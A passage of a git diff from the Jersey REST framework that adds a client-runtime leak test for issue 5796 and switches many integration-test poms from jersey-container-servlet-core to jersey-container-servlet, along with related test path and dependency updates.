+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+
+public class Jersey5796Test extends JerseyTest {
+
+    private static final int COUNT = 50;
+
+    @Override
+    protected Application configure() {
+        return new ResourceConfig(Resource.class);
+    }
+
+    @Test
+    public void testMemoryLeak() throws Exception {
+        ClientRuntimeCloseVerifier.closedClientRuntime = new AtomicInteger(0);
+        Client client = ClientBuilder.newClient(new ClientConfig(ClientRuntimeCloseVerifier.class));
+        assertEquals(0, ClientRuntimeCloseVerifier.closedClientRuntime.get());
+        for (int i = 0; i < COUNT; i++) {
+            Response response = client.target(getBaseUri()).property("test", "test").path("/get1").request().get();
+            assertEquals("GET", response.readEntity(String.class));
+            response.close();
+        }
+        System.gc();
+        do {
+            Thread.sleep(100L);
+        } while (ClientRuntimeCloseVerifier.closedClientRuntime.get() != 50);
+        assertEquals(COUNT, ClientRuntimeCloseVerifier.closedClientRuntime.get());
+        client.close();
+
+    }
+
+    /* Reproduces issue 4507
+        MultiException stack 1 of 1
+        java.lang.IllegalStateException: ServiceLocatorImpl(__HK2_Generated_0,0,427183206) has been shut down
+            at org.jvnet.hk2.internal.ServiceLocatorImpl.checkState(ServiceLocatorImpl.java:2399)
+            at org.jvnet.hk2.internal.ServiceLocatorImpl.getServiceHandleImpl(ServiceLocatorImpl.java:627)
+            at org.jvnet.hk2.internal.ServiceLocatorImpl.getServiceHandle(ServiceLocatorImpl.java:620)
+            at org.jvnet.hk2.internal.ServiceLocatorImpl.getServiceHandle(ServiceLocatorImpl.java:638)
+            at org.jvnet.hk2.internal.FactoryCreator.getFactoryHandle(FactoryCreator.java:79)
+            at org.jvnet.hk2.internal.FactoryCreator.dispose(FactoryCreator.java:149)
+            at org.jvnet.hk2.internal.SystemDescriptor.dispose(SystemDescriptor.java:521)
+            at org.glassfish.jersey.inject.hk2.RequestContext.lambda$findOrCreate$0(RequestContext.java:60)
+            at org.glassfish.jersey.internal.inject.ForeignDescriptorImpl.dispose(ForeignDescriptorImpl.java:63)
+            at org.glassfish.jersey.inject.hk2.Hk2RequestScope$Instance.remove(Hk2RequestScope.java:126)
+            at java.base/java.lang.Iterable.forEach(Iterable.java:75)
+            at org.glassfish.jersey.inject.hk2.Hk2RequestScope$Instance.release(Hk2RequestScope.java:143)
+            at org.glassfish.jersey.server.ChunkedOutput.flushQueue(ChunkedOutput.java:405)
+            at org.glassfish.jersey.server.ChunkedOutput.write(ChunkedOutput.java:264)
+            at org.glassfish.jersey.tests.integration.jersey5796.Jersey5796Test$Resource.lambda$get2$0(Jersey5796Test.java:116)
+            at java.base/java.lang.Thread.run(Thread.java:1583)
+
+     */
+    @Test
+    public void testChunkedInput() throws Exception {
+        ClientRuntimeCloseVerifier.closedClientRuntime = new AtomicInteger(0);
+        Client client = ClientBuilder.newClient(new ClientConfig(ClientRuntimeCloseVerifier.class));
+        assertEquals(0, ClientRuntimeCloseVerifier.closedClientRuntime.get());
+        for (int i = 0; i < COUNT; i++) {
+            ChunkedInput<String> chunkedInput = client.target(getBaseUri()).property("test", "test")
+                    .path("/get2").request().get(new GenericType<ChunkedInput<String>>() {});
+            chunkedInput.setParser(ChunkedInput.createParser("\n"));
+            int j = 0;
+            String chunk;
+            while ((chunk = chunkedInput.read()) != null) {
+                assertEquals("Chunk " + j, chunk);
+                j++;
+            }
+            chunkedInput.close();
+        }
+        System.gc();
+        do {
+            Thread.sleep(100L);
+        } while (ClientRuntimeCloseVerifier.closedClientRuntime.get() != 50);
+        assertEquals(COUNT, ClientRuntimeCloseVerifier.closedClientRuntime.get());
+        client.close();
+    }
+
+    @Path("/")
+    public static class Resource {
+
+        @GET
+        @Path("/get1")
+        public String get1() {
+            return "GET";
+        }
+
+        @GET
+        @Path("/get2")
+        public ChunkedOutput<String> get2() {
+            ChunkedOutput<String> output = new ChunkedOutput<>(String.class);
+            new Thread(() -> {
+                try {
+                    for (int i = 0; i < 3; i++) {
+                        output.write("Chunk " + i + "\n");
+                    }
+                } catch (Exception e1) {
+                    e1.printStackTrace();
+                } finally {
+                    try {
+                        output.close();
+                    } catch (Exception e2) {
+                        e2.printStackTrace();
+                    }
+                }
+            }).start();
+            return output;
+        }
+    }
+
+    public static class ClientRuntimeCloseVerifier implements ClientLifecycleListener {
+
+        private static AtomicInteger closedClientRuntime;
+
+        @Override
+        public void onInit() {
+        }
+
+        @Override
+        public void onClose() {
+            closedClientRuntime.incrementAndGet();
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml
index 504c5b2..f94601a 100644
--- a/tests/integration/jersey-780/pom.xml
+++ b/tests/integration/jersey-780/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml
index 3822b47..1948dc3 100644
--- a/tests/integration/microprofile/config/helidon/pom.xml
+++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -57,6 +57,12 @@
             <type>pom</type>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>io.smallrye.config</groupId>
+            <artifactId>smallrye-config</artifactId>
+            <version>${smallrye.config.version}</version>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
 
@@ -80,20 +86,6 @@
 
     <profiles>
         <profile>
-            <id>smallrye-dependency</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>io.smallrye.config</groupId>
-                    <artifactId>smallrye-config</artifactId>
-                    <version>${smallrye.config.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>helidon-config-dependency</id>
             <activation>
                 <jdk>[21,)</jdk>
diff --git a/tests/integration/microprofile/rest-client-tck3/pom.xml b/tests/integration/microprofile/rest-client-tck3/pom.xml
index 4dab56c..d6831f6 100644
--- a/tests/integration/microprofile/rest-client-tck3/pom.xml
+++ b/tests/integration/microprofile/rest-client-tck3/pom.xml
@@ -165,11 +165,11 @@
             <type>pom</type>
             <scope>test</scope>
         </dependency>
-        <dependency>
+        <!--<dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
-        </dependency>
+        </dependency>-->
         <dependency>
             <groupId>org.glassfish.jersey.ext.cdi</groupId>
             <artifactId>jersey-weld2-se</artifactId>
diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml
index 6f61a81..d65bd38 100644
--- a/tests/integration/microprofile/rest-client/pom.xml
+++ b/tests/integration/microprofile/rest-client/pom.xml
@@ -67,47 +67,16 @@
             <artifactId>jersey-weld2-se</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>io.smallrye.config</groupId>
+            <artifactId>smallrye-config</artifactId>
+            <version>${smallrye.config.version}</version>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <profiles>
         <profile>
-            <id>TestExclude</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/microprofile/restclient/ConsumesAndProducesTest.java</testExclude>
-                                <testExclude>org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java</testExclude>
-                                <testExclude>org/glassfish/jersey/test/microprofile/restclient/InboundHeadersProviderTest.java</testExclude>
-                                <testExclude>org/glassfish/jersey/test/microprofile/restclient/RestClientModelTest.java</testExclude>
-                                <testExclude>org/glassfish/jersey/restclient/PathParamTest.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>smallrye-dependency</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>io.smallrye.config</groupId>
-                    <artifactId>smallrye-config</artifactId>
-                    <version>${smallrye.config.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>securityOff</id>
             <activation>
                 <jdk>[24,)</jdk>
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml
index c60cd77..48ce07a 100644
--- a/tests/integration/pom.xml
+++ b/tests/integration/pom.xml
@@ -41,6 +41,7 @@
         <module>ejb-multimodule-reload</module>
         <module>ejb-test-webapp</module>
         <module>externalproperties</module>
+        <module>helidon3-client</module>
         <module>j-376</module>
         <module>j-441</module>
         <module>j-59</module>
@@ -93,9 +94,11 @@
         <module>jersey-4722</module>
         <module>jersey-4949</module>
         <module>jersey-5087</module>
+        <module>jersey-5796</module>
         <module>microprofile</module>
         <module>property-check</module>
         <module>reactive-streams</module>
+        <module>resteasy-client</module>
         <module>security-digest</module>
         <module>servlet-2.5-reload</module>
         <module>servlet-3-gf-async</module>
diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml
index 8639065..d207ac6 100644
--- a/tests/integration/property-check/pom.xml
+++ b/tests/integration/property-check/pom.xml
@@ -45,7 +45,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.core</groupId>
diff --git a/tests/integration/resteasy-client/pom.xml b/tests/integration/resteasy-client/pom.xml
index a4be16e..b0f699a 100644
--- a/tests/integration/resteasy-client/pom.xml
+++ b/tests/integration/resteasy-client/pom.xml
@@ -25,13 +25,13 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
-    <artifactId>spring-boot</artifactId>
+    <artifactId>resteasy-client</artifactId>
 
     <packaging>war</packaging>
-    <name>jersey-tests-integration-spring6</name>
+    <name>jersey-tests-integration-resteasy-client</name>
 
     <description>
         Jersey tests for Spring.Boot / Resteasy integration
@@ -41,7 +41,7 @@
         <dependency>
             <groupId>org.jboss.resteasy</groupId>
             <artifactId>resteasy-client</artifactId>
-            <version>6.2.11.Final</version>
+            <version>6.2.12.Final</version>
             <exclusions>
                 <exclusion>
                     <artifactId>commons-logging</artifactId>
@@ -72,6 +72,11 @@
             <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.core</groupId>
+            <artifactId>jersey-client</artifactId>
+            <scope>test</scope>
+        </dependency>
 
         <dependency>
             <groupId>commons-logging</groupId>
diff --git a/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java b/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java
index de1461f..4848388 100644
--- a/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java
+++ b/tests/integration/resteasy-client/src/test/java/org/glassfish/jersey/tests/springboot/RestEasyClientTest.java
@@ -27,9 +27,12 @@
 import jakarta.ws.rs.core.MultivaluedMap;
 import jakarta.ws.rs.core.Response;
 import jakarta.ws.rs.ext.Providers;
+
 import org.glassfish.jersey.jackson.internal.DefaultJacksonJaxbJsonProvider;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.MatcherAssert;
+import org.hamcrest.Matchers;
 import org.jboss.resteasy.client.jaxrs.ResteasyClient;
 import org.jboss.resteasy.client.jaxrs.internal.ResteasyClientBuilderImpl;
 import org.junit.jupiter.api.Assertions;
@@ -40,6 +43,11 @@
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.logging.ConsoleHandler;
+import java.util.logging.Level;
+import java.util.logging.LogRecord;
+import java.util.logging.Logger;
 
 public class RestEasyClientTest extends JerseyTest {
 
@@ -62,17 +70,31 @@
 
     @Test
     public void test() throws InterruptedException {
-        try (final ResteasyClient client = new ResteasyClientBuilderImpl().build()) {
-            client.register(TestDefaultJacksonJaxbJsonProvider.class);
-
-            try (final Response r = client.target(target().getUri()).path("/test")
-                    .request().post(Entity.entity("{\"test\": \"test\"}", MediaType.APPLICATION_JSON))) {
-                Object o = r.readEntity(Object.class);
-                Assertions.assertTrue(o.toString().contains("test"));
-                readFromLatch.await();
-                Assertions.assertEquals(0, readFromLatch.getCount(), "DefaultJacksonJaxbJsonProvider has not been used");
+        AtomicReference<String> messageRef = new AtomicReference<>();
+        Logger logger = Logger.getLogger(DefaultJacksonJaxbJsonProvider.class.getName());
+        logger.addHandler(new ConsoleHandler() {
+            @Override
+            public void publish(LogRecord record) {
+                messageRef.set(record.getMessage());
             }
+        });
+        logger.setLevel(Level.FINE);
+
+        final ResteasyClient client = new ResteasyClientBuilderImpl().build();
+
+        client.register(TestDefaultJacksonJaxbJsonProvider.class);
+
+        try (final Response r = client.target(target().getUri()).path("/test")
+                .request().post(Entity.entity("{\"test\": \"test\"}", MediaType.APPLICATION_JSON))) {
+            Object o = r.readEntity(Object.class);
+            Assertions.assertTrue(o.toString().contains("test"));
+            readFromLatch.await();
+            Assertions.assertEquals(0, readFromLatch.getCount(), "DefaultJacksonJaxbJsonProvider has not been used");
         }
+
+        client.close();
+        MatcherAssert.assertThat(messageRef.get(), Matchers.notNullValue());
+
     }
 
     public static class TestDefaultJacksonJaxbJsonProvider extends DefaultJacksonJaxbJsonProvider {
diff --git a/tests/integration/security-digest/pom.xml b/tests/integration/security-digest/pom.xml
index 70d8659..be8198e 100644
--- a/tests/integration/security-digest/pom.xml
+++ b/tests/integration/security-digest/pom.xml
@@ -36,7 +36,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
@@ -69,7 +69,7 @@
                     <loginServices>
                         <loginService implementation="org.eclipse.jetty.security.HashLoginService">
                             <name>my-realm</name>
-                            <config implementation="org.eclipse.jetty.ee10.maven.plugin.MavenResource">
+                            <config implementation="org.eclipse.jetty.maven.MavenResource">
                                 <resourceAsString>${basedir}/src/main/resources/jetty/realm.properties</resourceAsString>
                             </config>
                         </loginService>
diff --git a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
index 8268599..4adb50d 100644
--- a/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-1/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
index 748dc56..6c99728 100644
--- a/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
+++ b/tests/integration/servlet-2.5-autodiscovery-2/pom.xml
@@ -45,7 +45,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-filter/pom.xml b/tests/integration/servlet-2.5-filter/pom.xml
index a468add..d476f98 100644
--- a/tests/integration/servlet-2.5-filter/pom.xml
+++ b/tests/integration/servlet-2.5-filter/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-inflector-1/pom.xml b/tests/integration/servlet-2.5-inflector-1/pom.xml
index 5823e62..377a65a 100644
--- a/tests/integration/servlet-2.5-inflector-1/pom.xml
+++ b/tests/integration/servlet-2.5-inflector-1/pom.xml
@@ -38,7 +38,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>jakarta.servlet</groupId>
diff --git a/tests/integration/servlet-2.5-init-1/pom.xml b/tests/integration/servlet-2.5-init-1/pom.xml
index 8b9a069..cdb6e72 100644
--- a/tests/integration/servlet-2.5-init-1/pom.xml
+++ b/tests/integration/servlet-2.5-init-1/pom.xml
@@ -41,7 +41,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-2/pom.xml b/tests/integration/servlet-2.5-init-2/pom.xml
index cbbb873..862411c 100644
--- a/tests/integration/servlet-2.5-init-2/pom.xml
+++ b/tests/integration/servlet-2.5-init-2/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-3/pom.xml b/tests/integration/servlet-2.5-init-3/pom.xml
index 8e9d32b..5aabfcb 100644
--- a/tests/integration/servlet-2.5-init-3/pom.xml
+++ b/tests/integration/servlet-2.5-init-3/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-4/pom.xml b/tests/integration/servlet-2.5-init-4/pom.xml
index f86f173..7379729 100644
--- a/tests/integration/servlet-2.5-init-4/pom.xml
+++ b/tests/integration/servlet-2.5-init-4/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-5/pom.xml b/tests/integration/servlet-2.5-init-5/pom.xml
index c916494..089b278 100644
--- a/tests/integration/servlet-2.5-init-5/pom.xml
+++ b/tests/integration/servlet-2.5-init-5/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResource.java b/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResource.java
index 61cc480..d8eec8d 100644
--- a/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResource.java
+++ b/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 /**
  * @author Pavel Bucek
  */
-@Path("filter_path/helloworld")
+@Path("resource_path/helloworld")
 public class HelloWorldResource {
 
     @GET
diff --git a/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/UnreachableResource.java b/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/UnreachableResource.java
index 145d5ad..ac4ea1a 100644
--- a/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/UnreachableResource.java
+++ b/tests/integration/servlet-2.5-init-5/src/main/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/UnreachableResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
  *
  * @author Martin Matula
  */
-@Path("filter_path/unreachable")
+@Path("resource_path/unreachable")
 public class UnreachableResource {
     @GET
     public Response get() {
diff --git a/tests/integration/servlet-2.5-init-5/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResourceITCase.java b/tests/integration/servlet-2.5-init-5/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResourceITCase.java
index c0bf8aa..8dd3919 100644
--- a/tests/integration/servlet-2.5-init-5/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResourceITCase.java
+++ b/tests/integration/servlet-2.5-init-5/src/test/java/org/glassfish/jersey/tests/integration/servlet_25_init_5/HelloWorldResourceITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -46,13 +46,13 @@
 
     @Test
     public void testHelloWorld() throws Exception {
-        String s = target().path("filter_path/helloworld").request().get(String.class);
+        String s = target().path("filter_path/resource_path/helloworld").request().get(String.class);
         assertEquals("Hello World! " + this.getClass().getPackage().getName(), s);
     }
 
     @Test
     public void testHelloWorldAtWrongPath() {
-        Response r = target().path("application_path/filter_path/helloworld").request().get();
+        Response r = target().path("application_path/resource_path/helloworld").request().get();
         assertTrue(r.getStatus() >= 400,
                 "Request to application_path/helloworld should have failed, but did not. That means two applications are "
                         + "registered.");
@@ -61,13 +61,13 @@
     @Test
     @Disabled
     public void testUnreachableResource() {
-        Response r = target().path("filter_path/unreachable").request().get();
+        Response r = target().path("filter_path/resource_path/unreachable").request().get();
         assertTrue(r.getStatus() >= 400, "Managed to reach a resource that is not registered in the application.");
     }
 
     @Test
     public void testUnreachableResourceAtWrongPath() {
-        Response r = target().path("application_path/filter_path/unreachable").request().get();
+        Response r = target().path("application_path/resource_path/unreachable").request().get();
         assertTrue(r.getStatus() >= 400, "Managed to reach a resource that is not registered in the application.");
     }
 }
diff --git a/tests/integration/servlet-2.5-init-6/pom.xml b/tests/integration/servlet-2.5-init-6/pom.xml
index 5d8b307..4b84362 100644
--- a/tests/integration/servlet-2.5-init-6/pom.xml
+++ b/tests/integration/servlet-2.5-init-6/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-7/pom.xml b/tests/integration/servlet-2.5-init-7/pom.xml
index 8de66dc..b281f08 100644
--- a/tests/integration/servlet-2.5-init-7/pom.xml
+++ b/tests/integration/servlet-2.5-init-7/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-init-8/pom.xml b/tests/integration/servlet-2.5-init-8/pom.xml
index 164b8b6..9cc5081 100644
--- a/tests/integration/servlet-2.5-init-8/pom.xml
+++ b/tests/integration/servlet-2.5-init-8/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-2.5-mvc-1/pom.xml b/tests/integration/servlet-2.5-mvc-1/pom.xml
index 281201f..ab48b30 100644
--- a/tests/integration/servlet-2.5-mvc-1/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-1/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/servlet-2.5-mvc-2/pom.xml b/tests/integration/servlet-2.5-mvc-2/pom.xml
index 91b02f4..9d431d4 100644
--- a/tests/integration/servlet-2.5-mvc-2/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-2/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/servlet-2.5-mvc-3/pom.xml b/tests/integration/servlet-2.5-mvc-3/pom.xml
index 2461473..b168678 100644
--- a/tests/integration/servlet-2.5-mvc-3/pom.xml
+++ b/tests/integration/servlet-2.5-mvc-3/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/servlet-2.5-reload/pom.xml b/tests/integration/servlet-2.5-reload/pom.xml
index 678eff4..bf65e6a 100644
--- a/tests/integration/servlet-2.5-reload/pom.xml
+++ b/tests/integration/servlet-2.5-reload/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-4.0-mvc-1/pom.xml b/tests/integration/servlet-4.0-mvc-1/pom.xml
index 26913a7..ced7516 100644
--- a/tests/integration/servlet-4.0-mvc-1/pom.xml
+++ b/tests/integration/servlet-4.0-mvc-1/pom.xml
@@ -35,7 +35,7 @@
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
diff --git a/tests/integration/servlet-tests/pom.xml b/tests/integration/servlet-tests/pom.xml
index e5904e1..fac7639 100644
--- a/tests/integration/servlet-tests/pom.xml
+++ b/tests/integration/servlet-tests/pom.xml
@@ -42,7 +42,7 @@
 
         <dependency>
             <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-servlet-core</artifactId>
+            <artifactId>jersey-container-servlet</artifactId>
         </dependency>
 
         <dependency>
diff --git a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/FilterContextPathITCase.java b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/FilterContextPathITCase.java
index cd4d5ff..4674d2f 100644
--- a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/FilterContextPathITCase.java
+++ b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/FilterContextPathITCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -50,12 +50,12 @@
 
     @Test
     public void testNoContextPathResource() {
-        assertEquals("filter/resource", target("filter/resource").request().get(String.class));
+        assertEquals("filter/resource", target("filter/filter/resource").request().get(String.class));
     }
 
     @Test
     public void testOtherResourceUnreachable() {
         Response r = target("filter/contextPathResource").request().get();
-        assertEquals(404, r.getStatus());
+        assertEquals("contextPathResource", r.readEntity(String.class));
     }
 }
diff --git a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/ForwardOn404ITCase.java b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/ForwardOn404ITCase.java
index 3cddbb3..d7e21c3 100644
--- a/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/ForwardOn404ITCase.java
+++ b/tests/integration/servlet-tests/src/test/java/org/glassfish/jersey/tests/integration/servlettests/ForwardOn404ITCase.java
@@ -1,5 +1,5 @@
 /*
